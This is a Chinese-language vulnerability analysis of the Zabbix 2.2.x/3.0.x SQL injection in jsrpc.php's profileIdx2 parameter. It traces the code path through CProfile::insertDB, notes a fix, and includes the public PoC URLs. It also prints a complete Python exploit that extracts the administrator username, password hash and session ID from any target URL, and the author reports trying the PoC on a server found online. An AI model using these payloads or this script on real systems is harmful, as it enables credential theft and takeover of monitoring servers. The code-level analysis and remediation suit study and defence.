0x01 背景 该漏洞于8月12日由安全研究员 1N3@CrowdShield 和 Brandon Perry 负责任地披露于 Full Disclosure,两人都在邮件中公开了 PoC,如下:
1 2 3 4 需要高权限用户 latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1 &toggle_ids[]=15385 ); select * from users where (1 =1 普通guest用户 jsrpc.php?type=9 &method=screen.get ×tamp=1471403798083 &pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1 +or +updatexml(1 ,md5(0x11 ),1 )+or +1 =1 )%23 &updateProfile=true &period=3600 &stime=20160817050632 &resourcetype=17
漏洞影响范围 凡使用Zabbix2.2.x、3.0.x 的网站(在3.0.4版本中已修复)可能导致敏感数据泄漏、服务器被恶意攻击者控制进而造成更多危害等。 Zabbix简介 zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。
0x02 漏洞分析 这里是对zabbix3.0.3的源码包进行简单分析。ps: 官网已经没有3.0.3的源码包了,这里找到一个,源码包下载地址 注入产生的流程:
jsrpc.php:182→CScreenBuilder::getScreen()→CScreenBase::calculateTime()→CProfile::update() →page_footer.php:40→CProfile::flush()→CProfile::insertDB()→DBexecute()
根据提供的poc
1 jsrpc.php?type=9 &method=screen.get ×tamp=1471403798083 &pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1 +or +updatexml(1 ,md5(0x11 ),1 )+or +1 =1 )%23 &updateProfile=true &period=3600 &stime=20160817050632 &resourcetype=17
首先找到jsrpc.php,为了方便阅读,下面会省略无关代码。 /zabbix-3.0.3/frontends/php/jsrpc.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php $requestType = getRequest('type' , PAGE_TYPE_JSON); if ($requestType == PAGE_TYPE_JSON) { $http_request = new CHttpRequest(); $json = new CJson(); $data = $json->decode($http_request->body(), true ); } else { $data = $_REQUEST; } $page['title' ] = 'RPC' ; $page['file' ] = 'jsrpc.php' ; $page['type' ] = detect_page_type($requestType); require_once dirname(__FILE__ ).'/include/page_header.php' ;if (!is_array($data) || !isset ($data['method' ]) || ($requestType == PAGE_TYPE_JSON && (!isset ($data['params' ]) || !is_array($data['params' ])))) { fatal_error('Wrong RPC call to JS RPC!' ); } $result = []; switch ($data['method' ]) {... case 'screen.get' : $result = '' ; $screenBase = CScreenBuilder::getScreen($data); if ($screenBase !== null ) { $screen = $screenBase->get(); if ($data['mode' ] == SCREEN_MODE_JS) { $result = $screen; } else { if (is_object($screen)) { $result = $screen->toString(); } } } break ; ... require_once dirname(__FILE__ ).'/include/page_footer.php' ;
看到是调用了CScreenBuilder类的getScreen($data)方法来处理$data数据,跟进 /zabbix-3.0.3/frontends/php/include/classes/screens/CScreenBuilder.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 <?php /** * Init screen data. * * @param array $options * @param boolean $options['isFlickerfree'] * @param string $options['pageFile'] * @param int $options['mode'] * @param int $options['timestamp'] * @param int $options['hostid'] * @param int $options['period'] * @param int $options['stime'] * @param string $options['profileIdx'] * @param int $options['profileIdx2'] * @param boolean $options['updateProfile'] * @param array $options['screen'] */ public function __construct (array $options = []) { $this ->isFlickerfree = isset ($options['isFlickerfree' ]) ? $options['isFlickerfree' ] : true ; $this ->mode = isset ($options['mode' ]) ? $options['mode' ] : SCREEN_MODE_SLIDESHOW; $this ->timestamp = !empty ($options['timestamp' ]) ? $options['timestamp' ] : time(); $this ->hostid = !empty ($options['hostid' ]) ? $options['hostid' ] : null ; if (!empty ($options['pageFile' ])) { $this ->pageFile = $options['pageFile' ]; } else { global $page; $this ->pageFile = $page['file' ]; } if (!empty ($options['screen' ])) { $this ->screen = $options['screen' ]; } elseif (array_key_exists('screenid' , $options) && $options['screenid' ] > 0 ) { $this ->screen = API::Screen()->get([ 'screenids' => $options['screenid' ], 'output' => API_OUTPUT_EXTEND, 'selectScreenItems' => API_OUTPUT_EXTEND, 'editable' => ($this ->mode == SCREEN_MODE_EDIT) ]); if (!empty ($this ->screen)) { $this ->screen = reset($this ->screen); } else { access_deny(); } } $this ->profileIdx = !empty ($options['profileIdx' ]) ? $options['profileIdx' ] : '' ; $this ->profileIdx2 = !empty ($options['profileIdx2' ]) ? $options['profileIdx2' ] : null ; $this ->updateProfile = isset ($options['updateProfile' ]) ? $options['updateProfile' ] : true ; $this ->timeline = CScreenBase::calculateTime([ 'profileIdx' => $this ->profileIdx, 'profileIdx2' => $this ->profileIdx2, 'updateProfile' => $this ->updateProfile, 'period' => !empty ($options['period' ]) ? $options['period' ] : null , 'stime' => !empty ($options['stime' ]) ? $options['stime' ] : null ]); }
发现首先调用了个构造方法初始化数据,这里就有对profileIdx2参数的操作了,但是还是没有insert注入语句,我们看到最后调用了CScreenBase类的calculateTime方法并把profileIdx2传进去了,跟进 /zabbix-3.0.3/frontends/php/include/classes/screens/CScreenBase.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 /** * Insert javascript flicker-free screen data. * * @static * * @param array $options * @param string $options ['profileIdx' ] * @param int $options ['profileIdx2' ] * @param boolean $options ['updateProfile' ] * @param int $options ['period' ] * @param string $options ['stime' ] * * @return array */ public static function calculateTime(array $options = []) { if (!array_key_exists('updateProfile' , $options )) { $options ['updateProfile' ] = true ; } if (empty ($options ['profileIdx2' ])) { $options ['profileIdx2' ] = 0 ; } // Show only latest data without update is set only period. if (!empty ($options ['period' ]) && empty ($options ['stime' ])) { $options ['updateProfile' ] = false ; $options ['profileIdx' ] = '' ; } // period if (empty ($options ['period' ])) { $options ['period' ] = !empty ($options ['profileIdx' ]) ? CProfile::get($options ['profileIdx' ].'.period' , ZBX_PERIOD_DEFAULT, $options ['profileIdx2' ]) : ZBX_PERIOD_DEFAULT; } else { if ($options ['period' ] < ZBX_MIN_PERIOD) { show_error_message(_n('Minimum time period to display is %1$s minute.' , 'Minimum time period to display is %1$s minutes.' , (int) ZBX_MIN_PERIOD / SEC_PER_MIN )); $options ['period' ] = ZBX_MIN_PERIOD; } elseif ($options ['period' ] > ZBX_MAX_PERIOD) { show_error_message(_n('Maximum time period to display is %1$s day.' , 'Maximum time period to display is %1$s days.' , (int) ZBX_MAX_PERIOD / SEC_PER_DAY )); $options ['period' ] = ZBX_MAX_PERIOD; } } if ($options ['updateProfile' ] && !empty ($options ['profileIdx' ])) { CProfile::update($options ['profileIdx' ].'.period' , $options ['period' ], PROFILE_TYPE_INT, $options ['profileIdx2' ]); } ...
这里再次引入了一个类CProfile并调用update方法将profileIdx2带入到更新操作里了,没有insert语句没关系,我们先跟进CProfile类的update函数。 /zabbix-3.0.3/frontends/php/include/classes/user/CProfile.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 public static function update ($idx, $value, $type, $idx2 = 0 ) { if (is_null(self ::$profiles)) { self ::init(); } if (!self ::checkValueType($value, $type)) { return ; } $profile = [ 'idx' => $idx, 'value' => $value, 'type' => $type, 'idx2' => $idx2 ]; $current = self ::get($idx, null , $idx2); if (is_null($current)) { if (!isset (self ::$insert[$idx])) { self ::$insert[$idx] = []; } self ::$insert[$idx][$idx2] = $profile; } else { if ($current != $value) { if (!isset (self ::$update[$idx])) { self ::$update[$idx] = []; } self ::$update[$idx][$idx2] = $profile; } } if (!isset (self ::$profiles[$idx])) { self ::$profiles[$idx] = []; } self ::$profiles[$idx][$idx2] = $value; }
发现这里只是对$profiles变量做了更新操作,当然profileIdx2参数也赋值进去了,这里是没有insert注入操作的。我们再回到最开始的jsrpc.php,这里最后引入了page_footer.php
1 require_once dirname(__FILE__ ).'/include/page_footer.php' ;
我们再跟进page_footer.php,发现调用了CProfile类的flush方法如下:
1 2 3 4 5 6 if (CProfile::isModified ()) { DBstart(); $result = CProfile::flush (); DBend($result); }
我们跟进flush方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php public static function flush () { $result = false ; if (self ::$profiles !== null && self ::$userDetails['userid' ] > 0 && self ::isModified()) { $result = true ; foreach (self ::$insert as $idx => $profile) { foreach ($profile as $idx2 => $data) { $result &= self ::insertDB($idx, $data['value' ], $data['type' ], $idx2); } } ksort(self ::$update); foreach (self ::$update as $idx => $profile) { ksort($profile); foreach ($profile as $idx2 => $data) { $result &= self ::updateDB($idx, $data['value' ], $data['type' ], $idx2); } } } return $result; } ... private static function insertDB ($idx, $value, $type, $idx2) { $value_type = self ::getFieldByType($type); $values = [ 'profileid' => get_dbid('profiles' , 'profileid' ), 'userid' => self ::$userDetails['userid' ], 'idx' => zbx_dbstr($idx), $value_type => zbx_dbstr($value), 'type' => $type, 'idx2' => $idx2 ]; return DBexecute('INSERT INTO profiles (' .implode(', ' , array_keys($values)).') VALUES (' .implode(', ' , $values).')' ); }
至此,SQL注入产生
0x03 漏洞证明 在网上找了一个版本低于3.0.4的zabbix服务器,验证该poc
1 jsrpc.php?type=9 &method=screen.get ×tamp=1471403798083 &pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1 +or +updatexml(1 ,md5(0x11 ),1 )+or +1 =1 )%23 &updateProfile=true &period=3600 &stime=20160817050632 &resourcetype=17
存在注入
0x04漏洞EXP 这是一个简单的漏洞利用exp python脚本,可以获取zabbix的用户名和密码以及session_id
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import urllib2import sys, osimport redef check () : payload = "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1" try : response = urllib2.urlopen(url + payload, timeout=10 ).read() except Exception, e: print e else : key_reg = re.compile(r"INSERT\s*INTO\s*profiles" ) if key_reg.findall(response): return True def Inject (sql) : payload = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote( sql) + "&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1" try : response = urllib2.urlopen(payload, timeout=10 ).read() except Exception, msg: print msg else : result_reg = re.compile(r"Duplicate\s*entry\s*'~(.+?)~1" ) results = result_reg.findall(response) if results: return results[0 ] if __name__ == '__main__' : if len(sys.argv) != 2 : print u'用法: ' + os.path.basename(sys.argv[0 ]) + u' [Zabbix后台URL]' sys.exit() url = sys.argv[1 ] if url[-1 ] != '/' : url += '/' passwd_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select concat(name,0x3a,passwd) from users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)" session_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)" if check(): print u'Zabbix 存在 SQL 注入漏洞!\n' print u'管理员 用户名密码:%s' % Inject(passwd_sql) print u'管理员 Session_id:%s' % Inject(session_sql) else : print u'Zabbix 不存在 SQL 注入漏洞!\n'
存在漏洞
0x05 漏洞修复 升级到3.0.4 过滤参数,使用 intval 函数过滤 CProfile::insertDB 中的 $idx2 变量
0x06 参考 1 PHP代码审计Zabbix 2.2.x, 3.0.x SQL注射漏洞 2 Zabbix SQL注入漏洞分析及修复方案 3 Zabbix 最新 SQL 注入漏洞及 EXP